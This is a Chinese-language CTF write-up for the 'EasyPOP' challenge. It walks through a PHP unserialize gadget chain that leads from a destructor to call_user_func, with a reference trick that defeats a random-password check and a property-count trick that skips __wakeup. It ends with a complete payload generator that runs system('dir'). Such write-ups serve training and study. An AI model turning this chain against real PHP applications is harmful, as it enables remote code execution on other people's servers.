[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

考点：POP链构造

PHPhighlight_file(__FILE__);error_reporting(0);class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}class show{    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    }}class sorry{    private $name;    private $passWord;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    }}class secret_code{    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    }}if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand()));} else {    $a = new show("Ctfer");    echo $a->show();}

pop传参进行反序列化操作

构造POP链：

入口是sorry类中的__destruct方法，如果sorry类中的name和password属性相等就会调用echo $this->hint操作，如果将hint赋值为show类即可调用它的__toString方法

但是源码中调用了

$a->setPassword(md5(mt_rand()));

这个操作，给password设置了一个随机md5加密值，使用取地址&方法绕过(类似于C语言中的取地址)

class sorry{    private $name;    private $password;    public function __construct()    {        $this->name = &$this->password;        $this->password = 1;    }}

此时的链子已经到了show类中的__toString方法，

public function __toString(){    return $this->ctf->show();}

将ctf属性赋值为secret_code类即可调用secret_code类的show方法

$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;

show()方法

private function show(){    return $this->code->secret;}

将code赋值为sorry类即可调用sorry类中的__get方法

__get方法

public function __get($name){    $name = $this->key;    $name();}

将key属性赋值为fine类即可调用fine类中的__invoke方法

public function __invoke(){    call_user_func($this->cmd, $this->content);}

链子到这结束。

完整的POP链

sorry::__destruct->show::__toString->secret_code::show->sorry::__get->fine::__invoke

在调用最后一步时，还需要绕过_wakeup

class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}

完整的Payload

class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }}class secret_code{    protected $code;    public function __construct($code)    {        $this->code = $code;    }}class show{    public $ctf;}class sorry{    private $name;    private $password;    public function __construct()    {        $this->name = &$this->password;        $this->password = 1;    }}$s2 = new sorry();$s2->key = new fine('system','dir');$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;$sorry = new sorry();$sorry->hint = $show;$strs = str_replace("fine\":2","fine\":3", serialize($sorry));echo urlencode($strs);

来源地址：https://blog.csdn.net/Yu3511606536/article/details/127591067